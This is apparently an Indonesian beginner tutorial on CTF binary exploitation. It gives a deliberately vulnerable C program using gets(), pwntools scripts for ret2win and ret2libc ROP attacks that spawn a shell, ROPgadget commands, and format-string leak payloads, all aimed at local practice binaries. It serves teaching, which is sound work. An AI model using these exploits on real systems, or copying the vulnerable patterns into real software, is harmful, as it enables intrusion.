Pwn / Binary Exploitation

1┌─────────────────────────┐  Alamat tinggi
2│        Stack            │  ← variabel lokal, return address
3│          ↓              │    (tumbuh ke bawah)
4├─────────────────────────┤
5│          ↑              │
6│         Heap            │  ← malloc(), dynamic allocation
7│                         │    (tumbuh ke atas)
8├─────────────────────────┤
9│         BSS             │  ← variabel global uninitialized
10├─────────────────────────┤
11│         Data            │  ← variabel global initialized
12├─────────────────────────┤
13│         Text            │  ← kode program (instructions)
14└─────────────────────────┘  Alamat rendah
15 
16Yang penting:
17- Stack tempat nyimpen variabel lokal
18- Return address juga di stack
19- Kalo bisa overwrite return address = bisa kontrol alur program

1# File type
2file vuln
3# vuln: ELF 64-bit LSB executable, x86-64...
4 
5# Strings di binary
6strings vuln | grep -i flag
7strings vuln | grep -i password
8 
9# Cek proteksi
10checksec vuln
11# atau
12checksec --file=vuln

1RELRO:      Partial/Full     → apakah GOT bisa dioverwrite
2Stack:      No canary found  → BAGUS, bisa buffer overflow
3NX:         NX enabled       → stack gak executable (no shellcode)
4PIE:        No PIE           → BAGUS, alamat tetap (predictable)
5ASLR:       (cek sistem)     → alamat random tiap run
6 
7Kondisi ideal buat pemula:
8- No canary        → bisa overflow
9- No PIE           → alamat bisa diprediksi
10- NX disabled      → bisa jalanin shellcode (jarang)
11 
12Biasanya soal CTF pemula: No canary + No PIE

1#include <stdio.h>
2 
3void win() {
4    system("/bin/sh");  // Target kita!
5}
6 
7void vuln() {
8    char buffer[64];
9    gets(buffer);  // BAHAYA: gak cek panjang input
10}
11 
12int main() {
13    vuln();
14    return 0;
15}

1┌────────────────────┐
2│   return address   │ ← balik ke main()
3├────────────────────┤
4│    saved RBP       │ ← base pointer lama
5├────────────────────┤
6│                    │
7│    buffer[64]      │ ← input kita masuk sini
8│                    │
9└────────────────────┘
10 
11Kalo input kita lebih dari 64 bytes:
12- Overflow ke saved RBP
13- Terus overflow ke return address
14- Ganti return address ke win()

1from pwn import *
2 
3# Jalanin binary
4p = process('./vuln')
5# atau: p = remote('host', port)
6 
7# Cari alamat win()
8# Cara 1: objdump
9# objdump -d vuln | grep win
10# Cara 2: pwntools
11elf = ELF('./vuln')
12win_addr = elf.symbols['win']
13print(f"win() ada di: {hex(win_addr)}")
14 
15# Bikin payload
16# 64 bytes buffer + 8 bytes RBP + return address
17payload = b'A' * 64       # isi buffer
18payload += b'B' * 8       # overwrite RBP
19payload += p64(win_addr)  # overwrite return address
20 
21# Kirim
22p.sendline(payload)
23p.interactive()  # dapet shell!

1# List semua fungsi yang ada
2objdump -t vuln | grep -E "(win|flag|shell|system)"
3 
4# Atau pake nm
5nm vuln | grep -E "(win|flag|shell)"
6 
7# Disassemble fungsi tertentu
8objdump -d vuln | grep -A 20 "<win>"

1from pwn import *
2 
3# Setup
4binary = './vuln'
5elf = ELF(binary)
6 
7# Cari alamat target
8win = elf.symbols['win']  # atau: elf.symbols['get_flag']
9 
10# Offset ke return address (harus dicari dulu)
11offset = 72  # contoh
12 
13# Payload
14payload = flat(
15    b'A' * offset,
16    win
17)
18 
19# Exploit
20p = process(binary)
21p.sendline(payload)
22p.interactive()

1from pwn import *
2 
3# Binary pake libc
4libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
5elf = ELF('./vuln')
6 
7# Alamat di libc (kalo ASLR off)
8system_addr = libc.symbols['system']
9binsh_addr = next(libc.search(b'/bin/sh'))
10 
11# x64 calling convention: argument di RDI
12# Jadi perlu gadget: pop rdi; ret
13pop_rdi = 0x401234  # cari pake ROPgadget
14 
15offset = 72
16 
17payload = flat(
18    b'A' * offset,
19    pop_rdi,
20    binsh_addr,
21    system_addr
22)
23 
24p = process('./vuln')
25p.sendline(payload)
26p.interactive()

1# Install
2pip install ROPgadget
3 
4# Cari gadget di binary
5ROPgadget --binary vuln | grep "pop rdi"
6ROPgadget --binary vuln | grep "ret"
7 
8# Cari di libc
9ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"

1// Salah:
2printf(user_input);  // BAHAYA!
3 
4// Bener:
5printf("%s", user_input);  // Aman

1# Leak data dari stack
2AAAA.%x.%x.%x.%x.%x.%x
3# Output: AAAA.f7ff...41414141...
4# 41414141 = "AAAA" di stack
5 
6# Leak langsung posisi tertentu
7%6$x    # Leak posisi ke-6
8%1$p    # Leak pointer posisi 1
9 
10# Read dari alamat tertentu
11# Taruh alamat di awal, terus %s
12[alamat]%[offset]$s
13 
14# Write ke alamat (advanced)
15%n  # nulis jumlah char yang udah diprint

1from pwn import *
2 
3p = process('./vuln')
4 
5# Leak stack
6p.sendline(b'%p.%p.%p.%p.%p.%p.%p.%p')
7leak = p.recvline()
8print(leak)
9 
10# Biasanya ada:
11# - Alamat libc (bisa bypass ASLR)
12# - Canary (kalo ada)
13# - Return address